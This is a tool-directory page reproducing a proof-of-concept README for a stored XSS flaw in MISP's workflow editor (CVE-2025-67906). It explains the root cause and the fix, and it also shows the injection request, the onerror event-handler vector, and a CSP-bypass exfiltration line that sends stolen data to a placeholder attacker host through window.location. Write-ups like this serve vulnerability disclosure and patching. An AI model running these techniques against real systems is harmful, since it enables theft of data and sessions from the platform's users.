Skip to content
KitploitKITPLOIT
ToolsBlog
Log in
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-67906 — MISP <= 2.5.27 - Stored Cross-Site Scripting via Workflow Engine (doT.js Template Injection). | Kitploit
Tools/GitHubGitHub/franckferman/cve-2025-67906
Vulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringWAF BypassPenetration TestingRed Teaming
GitHubfranckferman/cve-2025-67906

CVE-2025-67906

MISP <= 2.5.27 - Stored Cross-Site Scripting via Workflow Engine (doT.js Template Injection).

View Repository
2196 months agoNot yet reviewed
Website

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE Score GCVE CWE License Python No deps

CVE-2025-67906

MISP <= 2.5.27 - Stored Cross-Site Scripting via Workflow Engine (doT.js Template Injection)

Discovered by Franck FERMAN

Overview - Root Cause - Attack Chain - Structure - Usage - Remediation - References


Vulnerability Overview

CVE-2025-67906 (GCVE-1-2025-0031) is a Stored Cross-Site Scripting (XSS) vulnerability in MISP (Malware Information Sharing Platform) versions up to and including 2.5.27.

The vulnerability resides in app/View/Elements/Workflows/executionPath.ctp, the Workflow execution path view component. The name field of workflow triggers is persisted to the database without server-side sanitization and subsequently rendered into the DOM through the doT.js template engine without HTML escaping. An authenticated attacker can inject arbitrary HTML/JavaScript that executes in the browser session of any user who views the compromised workflow.

Because the payload is stored in the database and rendered on every page load, the XSS is persistent - it survives page refreshes, affects multiple users, and persists until the workflow is explicitly deleted.

Discovery: This vulnerability was identified and responsibly disclosed by Franck FERMAN.


CVSS Scores

Multiple CVSS assessments exist for this vulnerability:

SourceScoreSeverityVector
NIST NVD9.0CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
GCVE (CIRCL)7.1HighCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H
CNA (MITRE)5.4MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

The score divergence reflects differing assessments of impact depth. The NIST NVD score (9.0) accounts for full Confidentiality, Integrity, and Availability impact given that the XSS payload executes with the victim's session privileges, enabling admin-level data exfiltration and workflow manipulation. The CNA score (5.4) considers only limited C/I impact for a generic XSS. The GCVE CVSS 4.0 score (7.1) introduces Attack Requirements (Privilege) and Active User Interaction modifiers.

The Scope is Changed across all assessments because the attacker's payload (injected via the MISP API) executes in a different security context (the victim's browser session).


Root Cause Analysis

The Injection Vector

MISP's Workflow Engine allows authenticated users to create and edit workflows via the REST API. The workflow data model includes a trigger component with a name field. This field is:

  1. Accepted by the API without input validation or HTML entity encoding
  2. Persisted to the database as raw text (no server-side sanitization)
  3. Rendered in the browser via the doT.js JavaScript template engine

Why doT.js is Vulnerable Here

doT.js is a fast JavaScript templating engine. It uses {{= }} for interpolation, which does not escape HTML by default. The MISP Workflow Editor uses doT.js to render trigger metadata (including the name field) into the DOM. When the name field contains HTML like ``, the template engine inserts it as raw HTML, and the browser executes the embedded JavaScript.

The fix requires either:

  • Switching to doT.js's encoded output syntax {{! }} which HTML-escapes the value
  • Server-side sanitization before database insertion
  • Both (defense in depth)

Injection Point

POST /workflows/edit/{id}

{
  "Workflow": {
    "id": "1",
    "data": "{\"1\":{\"data\":{\"name\":\"\"}}}"
  }
}

The name value inside the data JSON field is the injection point. The entire workflow graph is serialized as a JSON string within the request body.

The Rendering Context: Client-Side Graphical Engine

The vulnerability is amplified by the architectural choice of using a client-side template engine (doT.js) to render the visual workflow editor. The Workflow Editor is a graphical drag-and-drop interface where each trigger/action is displayed as a visual block. The trigger name field is rendered as a label inside these graphical blocks.

doT.js builds the visual components by generating HTML strings from templates and inserting them into the DOM. The {{= }} interpolation syntax produces unescaped output - any data interpolated into the template is treated as markup, not text. If the same name field were rendered via element.textContent (which treats input as plain text) or via doT.js's own {{! }} encoded output syntax, no XSS would be possible regardless of the input content.

The attack surface exists precisely because:

  1. A graphical editor requires rich HTML rendering (styled blocks, icons, layouts)
  2. The template engine chosen (doT.js) defaults to unescaped output ({{= }}) for performance
  3. User-supplied metadata (trigger names) flows into these templates without sanitization
  4. The result is that any string stored in the name field is interpreted as HTML by the browser

This is a common vulnerability pattern in web applications that use client-side template engines to build interactive visual interfaces: the need for rich rendering creates an implicit trust relationship between the template and its data sources, and any unsanitized user input that reaches the template becomes executable code.

Why `` and Not <script>

A raw <script> tag injected via template interpolation will typically not execute in this context. Browsers do not run <script> elements that are inserted into the DOM after initial page parsing (via innerHTML or equivalent). Event handler attributes like onerror, onload, or onmouseover on HTML elements bypass this restriction because they fire inline JavaScript when the browser processes the element's attributes, regardless of how the element was inserted.

The <img src="https://raw.githubusercontent.com/franckferman/cve-2025-67906/HEAD/x" onerror="..."> vector is preferred because:

  • The src="x" guarantees an immediate load failure, triggering onerror without user interaction
  • It works across all browsers and does not require the element to be visible
  • It bypasses CSP script-src restrictions that block inline <script> tags, because the execution happens via an event handler on a non-script element

CSP Bypass via Navigation (Exfiltration)

MISP instances typically deploy Content Security Policy headers that restrict connect-src, preventing fetch() and XMLHttpRequest calls to external origins. The exfiltration payloads in this PoC bypass CSP by using window.location (navigation) instead of API calls:

// BLOCKED by CSP connect-src:
fetch('http://attacker/exfil?data=' + stolen_data);  // CSP violation

// NOT blocked - navigation is not governed by CSP:
window.location = 'http://attacker/exfil?data=' + stolen_data;  // works
Download Tool